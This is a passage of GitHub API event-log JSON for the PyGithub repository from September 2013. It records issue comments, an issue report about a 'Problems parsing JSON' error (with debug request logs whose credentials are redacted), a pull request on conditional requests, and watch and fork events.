Online\"} ==> 400 {'status': '400 Bad Request', 'x-ratelimit-remaining': '4993', 'x-github-media-type': 'github.beta; format=json', 'x-content-type-options': 'nosniff', 'access-control-expose-headers': 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes', 'x-github-request-id': '54c3445d-e229-4b45-b3f1-ef528f1325be', 'x-accepted-oauth-scopes': 'repo, public_repo', 'content-length': '35', 'server': 'GitHub.com', 'x-ratelimit-limit': '5000', 'access-control-allow-credentials': 'true', 'date': 'Wed, 04 Sep 2013 03:27:33 GMT', 'access-control-allow-origin': '*', 'content-type': 'application/json; charset=utf-8', 'x-oauth-scopes': 'user, public_repo, repo, gist', 'x-ratelimit-reset': '1378268851'} {\"message\":\"Problems parsing JSON\"}\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23794023","html_url":"https://github.com/jacquev6/PyGithub/issues/194#issuecomment-23794023","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194","id":23794023,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-04T14:35:22Z","updated_at":"2013-09-04T14:35:22Z","body":"Hum in fact I'm going to need your help to solve this... \r\n\r\nCan you please run the script here: https://gist.github.com/jacquev6/6437766 (modify it to use your credentials first) and tell me what you obtain?\r\n\r\nWhen I run it, it works, and the request sent (before the \"==>\" in the log) it **very** similar to the request failing in your case:\r\n\r\n POST https://api.github.com/repos/jacquev6/TestPyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic (login and password removed)', 'User-Agent': 'PyGithub/Python'} {\"body\": \"http://www.heraldonline.com/2013/08/27/5152564/advanced-data-processing-inc-notification.html\\n\\nAnother of the ADP Partner breaches There are several more on the pinboard--search term is ADP.\\n\\nhttp://posttrib.suntimes.com/news/porter/22190511-418/valpo-ambulance-users-could-have-had-personal-information-stolen.html\\n\\nhttp://www.healthdatamanagement.com/news/breach-notification-hipaa-privacy-security-46520-1.html\\n\\n\\n2013 DataBreach NC\", \"labels\": [\"Breach\"], \"title\": \"VALPARAISO, Ind., Aug. 27, 2013: Advanced Data Processing, Inc.: Notification of Possible Unauthorized Access of Patient Information | PRNewswire | Rock Hill Herald Online\"} ==> 201 {'status': '201 Created', 'x-ratelimit-remaining': '4972', 'x-github-media-type': 'github.beta; format=json', 'x-content-type-options': 'nosniff', 'access-control-expose-headers': 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes', 'x-github-request-id': '2be0b759-6752-4210-8ec9-243932b431a4', 'cache-control': 'private, max-age=60, s-maxage=60', 'content-length': '2382', 'server': 'GitHub.com', 'x-ratelimit-limit': '5000', 'location': 'https://api.github.com/repos/jacquev6/TestPyGithub/issues/4', 'access-control-allow-credentials': 'true', 'date': 'Wed, 04 Sep 2013 14:27:51 GMT', 'etag': '\"c95c9d428a9cb16001205311010e4f98\"', 'content-type': 'application/json; charset=utf-8', 'access-control-allow-origin': '*', 'x-ratelimit-reset': '1378305746'} {\"url\":\"https://api.github.com/repos/jacquev6/TestPyGithub/issues/4\",\"labels_url\":\"https://api.github.com/repos/jacquev6/TestPyGithub/issues/4/labels{/name}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/TestPyGithub/issues/4/comments\",\"events_url\":\"https://api.github.com/repos/jacquev6/TestPyGithub/issues/4/events\",\"html_url\":\"https://github.com/jacquev6/TestPyGithub/issues/4\",\"id\":18974584,\"number\":4,\"title\":\"VALPARAISO, Ind., Aug. 27, 2013: Advanced Data Processing, Inc.: Notification of Possible Unauthorized Access of Patient Information | PRNewswire | Rock Hill Herald Online\",\"user\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/TestPyGithub/labels/Breach\",\"name\":\"Breach\",\"color\":\"fbca04\"}],\"state\":\"open\",\"assignee\":null,\"milestone\":null,\"comments\":0,\"created_at\":\"2013-09-04T14:27:51Z\",\"updated_at\":\"2013-09-04T14:27:51Z\",\"closed_at\":null,\"pull_request\":{\"html_url\":null,\"diff_url\":null,\"patch_url\":null},\"body\":\"http://www.heraldonline.com/2013/08/27/5152564/advanced-data-processing-inc-notification.html\\n\\nAnother of the ADP Partner breaches There are several more on the pinboard--search term is ADP.\\n\\nhttp://posttrib.suntimes.com/news/porter/22190511-418/valpo-ambulance-users-could-have-had-personal-information-stolen.html\\n\\nhttp://www.healthdatamanagement.com/news/breach-notification-hipaa-privacy-security-46520-1.html\\n\\n\\n2013 DataBreach NC\",\"closed_by\":null}\r\n"}},"public":true,"created_at":"2013-09-04T14:35:23Z"},{"id":"1821420344","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/issues/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":7,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-04T13:43:45Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23789799","html_url":"https://github.com/jacquev6/PyGithub/issues/193#issuecomment-23789799","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23789799,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-04T13:43:45Z","updated_at":"2013-09-04T13:43:45Z","body":"Thank you for the update, this looks very promising! I'll look at it this afternoon."}},"public":true,"created_at":"2013-09-04T13:43:45Z"},{"id":"1821419438","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/events","html_url":"https://github.com/jacquev6/PyGithub/issues/194","id":18951718,"number":194,"title":"GitHub 400 \"Problems parsing JSON\" when creating an issue","user":{"login":"technoskald","id":1624387,"avatar_url":"https://1.gravatar.com/avatar/afdbc4563c208b1bc332762fbd1145cb?d=https%3A%2F%2Fidenticons.github.com%2F1fe48bd7b38910219f53e7709ac82ccf.png","gravatar_id":"afdbc4563c208b1bc332762fbd1145cb","url":"https://api.github.com/users/technoskald","html_url":"https://github.com/technoskald","followers_url":"https://api.github.com/users/technoskald/followers","following_url":"https://api.github.com/users/technoskald/following{/other_user}","gists_url":"https://api.github.com/users/technoskald/gists{/gist_id}","starred_url":"https://api.github.com/users/technoskald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technoskald/subscriptions","organizations_url":"https://api.github.com/users/technoskald/orgs","repos_url":"https://api.github.com/users/technoskald/repos","events_url":"https://api.github.com/users/technoskald/events{/privacy}","received_events_url":"https://api.github.com/users/technoskald/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":1,"created_at":"2013-09-04T03:34:22Z","updated_at":"2013-09-04T13:42:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm working from the `develop` branch and consistently get an `HTTP 400: Problems parsing JSON` when trying to create an issue.\r\n\r\nThe traceback, including the actual API call, is:\r\n```\r\nTraceback (most recent call last):\r\n File \"import.py\", line 68, in \r\n issue=repo.create_issue(title=i['description'],body=comment,labels=ilabels)\r\n File \"/home/kmaxwell/PyGithub/github/Repository.py\", line 557, in create_issue\r\n post_parameters\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 171, in requestJsonAndCheck\r\n return self.__check(*self.requestJson(verb, url, parameters, input))\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 182, in __check\r\n raise self.__createException(status, output)\r\ngithub.GithubException.GithubException: 400 {u'message': u'Problems parsing JSON'}\r\n```\r\n\r\nAdditionally, I enabled console logging while debugging (per the contribution guidelines) and have the following logs:\r\n\r\n```\r\nPOST https://api.github.com/repos/vz-risk/VCDB/issues {'Content-Type': 'application/json', 'Authorization': 'token (oauth token removed)', 'User-Agent': 'PyGithub/Python'} {\"body\": \"http://www.heraldonline.com/2013/08/27/5152564/advanced-data-processing-inc-notification.html\\n\\nAnother of the ADP Partner breaches There are several more on the pinboard--search term is ADP.\\n\\nhttp://posttrib.suntimes.com/news/porter/22190511-418/valpo-ambulance-users-could-have-had-personal-information-stolen.html\\n\\nhttp://www.healthdatamanagement.com/news/breach-notification-hipaa-privacy-security-46520-1.html\\n\\n\\n2013 DataBreach NC\", \"labels\": [\"Breach\"], \"title\": \"VALPARAISO, Ind., Aug. 27, 2013: Advanced Data Processing, Inc.: Notification of Possible Unauthorized Access of Patient Information | PRNewswire | Rock Hill Herald Online\"} ==> 400 {'status': '400 Bad Request', 'x-ratelimit-remaining': '4993', 'x-github-media-type': 'github.beta; format=json', 'x-content-type-options': 'nosniff', 'access-control-expose-headers': 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes', 'x-github-request-id': '54c3445d-e229-4b45-b3f1-ef528f1325be', 'x-accepted-oauth-scopes': 'repo, public_repo', 'content-length': '35', 'server': 'GitHub.com', 'x-ratelimit-limit': '5000', 'access-control-allow-credentials': 'true', 'date': 'Wed, 04 Sep 2013 03:27:33 GMT', 'access-control-allow-origin': '*', 'content-type': 'application/json; charset=utf-8', 'x-oauth-scopes': 'user, public_repo, repo, gist', 'x-ratelimit-reset': '1378268851'} {\"message\":\"Problems parsing JSON\"}\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23789742","html_url":"https://github.com/jacquev6/PyGithub/issues/194#issuecomment-23789742","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194","id":23789742,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-04T13:42:51Z","updated_at":"2013-09-04T13:42:51Z","body":"Hello! Thank you for the issue report, I have all the info I need to investigate that.\r\n\r\nThere seems to be something wrong with the json-encoding of the request, in PyGithub. I'll keep you informed this afternoon."}},"public":true,"created_at":"2013-09-04T13:42:52Z"},{"id":"1821181865","type":"WatchEvent","actor":{"id":1114542,"login":"nvbn","gravatar_id":"9c2082cdbe74353788ae2845c2bd8281","url":"https://api.github.com/users/nvbn","avatar_url":"https://1.gravatar.com/avatar/9c2082cdbe74353788ae2845c2bd8281?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"started"},"public":true,"created_at":"2013-09-04T08:31:39Z"},{"id":"1821036113","type":"IssuesEvent","actor":{"id":1624387,"login":"technoskald","gravatar_id":"afdbc4563c208b1bc332762fbd1145cb","url":"https://api.github.com/users/technoskald","avatar_url":"https://1.gravatar.com/avatar/afdbc4563c208b1bc332762fbd1145cb?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"opened","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/events","html_url":"https://github.com/jacquev6/PyGithub/issues/194","id":18951718,"number":194,"title":"GitHub 400 \"Problems parsing JSON\" when creating an issue","user":{"login":"technoskald","id":1624387,"avatar_url":"https://0.gravatar.com/avatar/afdbc4563c208b1bc332762fbd1145cb?d=https%3A%2F%2Fidenticons.github.com%2F1fe48bd7b38910219f53e7709ac82ccf.png","gravatar_id":"afdbc4563c208b1bc332762fbd1145cb","url":"https://api.github.com/users/technoskald","html_url":"https://github.com/technoskald","followers_url":"https://api.github.com/users/technoskald/followers","following_url":"https://api.github.com/users/technoskald/following{/other_user}","gists_url":"https://api.github.com/users/technoskald/gists{/gist_id}","starred_url":"https://api.github.com/users/technoskald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technoskald/subscriptions","organizations_url":"https://api.github.com/users/technoskald/orgs","repos_url":"https://api.github.com/users/technoskald/repos","events_url":"https://api.github.com/users/technoskald/events{/privacy}","received_events_url":"https://api.github.com/users/technoskald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-09-04T03:34:22Z","updated_at":"2013-09-04T03:34:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm working from the `develop` branch and consistently get an `HTTP 400: Problems parsing JSON` when trying to create an issue.\r\n\r\nThe traceback, including the actual API call, is:\r\n```\r\nTraceback (most recent call last):\r\n File \"import.py\", line 68, in \r\n issue=repo.create_issue(title=i['description'],body=comment,labels=ilabels)\r\n File \"/home/kmaxwell/PyGithub/github/Repository.py\", line 557, in create_issue\r\n post_parameters\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 171, in requestJsonAndCheck\r\n return self.__check(*self.requestJson(verb, url, parameters, input))\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 182, in __check\r\n raise self.__createException(status, output)\r\ngithub.GithubException.GithubException: 400 {u'message': u'Problems parsing JSON'}\r\n```\r\n\r\nAdditionally, I enabled console logging while debugging (per the contribution guidelines) and have the following logs:\r\n\r\n```\r\nPOST https://api.github.com/repos/vz-risk/VCDB/issues {'Content-Type': 'application/json', 'Authorization': 'token (oauth token removed)', 'User-Agent': 'PyGithub/Python'} {\"body\": \"http://www.heraldonline.com/2013/08/27/5152564/advanced-data-processing-inc-notification.html\\n\\nAnother of the ADP Partner breaches There are several more on the pinboard--search term is ADP.\\n\\nhttp://posttrib.suntimes.com/news/porter/22190511-418/valpo-ambulance-users-could-have-had-personal-information-stolen.html\\n\\nhttp://www.healthdatamanagement.com/news/breach-notification-hipaa-privacy-security-46520-1.html\\n\\n\\n2013 DataBreach NC\", \"labels\": [\"Breach\"], \"title\": \"VALPARAISO, Ind., Aug. 27, 2013: Advanced Data Processing, Inc.: Notification of Possible Unauthorized Access of Patient Information | PRNewswire | Rock Hill Herald Online\"} ==> 400 {'status': '400 Bad Request', 'x-ratelimit-remaining': '4993', 'x-github-media-type': 'github.beta; format=json', 'x-content-type-options': 'nosniff', 'access-control-expose-headers': 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes', 'x-github-request-id': '54c3445d-e229-4b45-b3f1-ef528f1325be', 'x-accepted-oauth-scopes': 'repo, public_repo', 'content-length': '35', 'server': 'GitHub.com', 'x-ratelimit-limit': '5000', 'access-control-allow-credentials': 'true', 'date': 'Wed, 04 Sep 2013 03:27:33 GMT', 'access-control-allow-origin': '*', 'content-type': 'application/json; charset=utf-8', 'x-oauth-scopes': 'user, public_repo, repo, gist', 'x-ratelimit-reset': '1378268851'} {\"message\":\"Problems parsing JSON\"}\r\n```"}},"public":true,"created_at":"2013-09-04T03:34:22Z"},{"id":"1819316534","type":"WatchEvent","actor":{"id":1681405,"login":"marianitadn","gravatar_id":"4ede901d02edfca3e35db27377f13d5d","url":"https://api.github.com/users/marianitadn","avatar_url":"https://2.gravatar.com/avatar/4ede901d02edfca3e35db27377f13d5d?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"started"},"public":true,"created_at":"2013-09-02T07:43:17Z"},{"id":"1818956660","type":"ForkEvent","actor":{"id":5172637,"login":"schmidt-fu","gravatar_id":"c9ced8b816f6470e64a4ad13f8ebe16a","url":"https://api.github.com/users/schmidt-fu","avatar_url":"https://1.gravatar.com/avatar/c9ced8b816f6470e64a4ad13f8ebe16a?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"forkee":{"id":12518636,"name":"PyGithub","full_name":"schmidt-fu/PyGithub","owner":{"login":"schmidt-fu","id":5172637,"avatar_url":"https://2.gravatar.com/avatar/c9ced8b816f6470e64a4ad13f8ebe16a?d=https%3A%2F%2Fidenticons.github.com%2F3cc9645c6fb2437530f57a2253cf3a8c.png","gravatar_id":"c9ced8b816f6470e64a4ad13f8ebe16a","url":"https://api.github.com/users/schmidt-fu","html_url":"https://github.com/schmidt-fu","followers_url":"https://api.github.com/users/schmidt-fu/followers","following_url":"https://api.github.com/users/schmidt-fu/following{/other_user}","gists_url":"https://api.github.com/users/schmidt-fu/gists{/gist_id}","starred_url":"https://api.github.com/users/schmidt-fu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/schmidt-fu/subscriptions","organizations_url":"https://api.github.com/users/schmidt-fu/orgs","repos_url":"https://api.github.com/users/schmidt-fu/repos","events_url":"https://api.github.com/users/schmidt-fu/events{/privacy}","received_events_url":"https://api.github.com/users/schmidt-fu/received_events","type":"User"},"private":false,"html_url":"https://github.com/schmidt-fu/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/schmidt-fu/PyGithub","forks_url":"https://api.github.com/repos/schmidt-fu/PyGithub/forks","keys_url":"https://api.github.com/repos/schmidt-fu/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/schmidt-fu/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/schmidt-fu/PyGithub/teams","hooks_url":"https://api.github.com/repos/schmidt-fu/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/schmidt-fu/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/schmidt-fu/PyGithub/events","assignees_url":"https://api.github.com/repos/schmidt-fu/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/schmidt-fu/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/schmidt-fu/PyGithub/tags","blobs_url":"https://api.github.com/repos/schmidt-fu/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/schmidt-fu/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/schmidt-fu/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/schmidt-fu/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/schmidt-fu/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/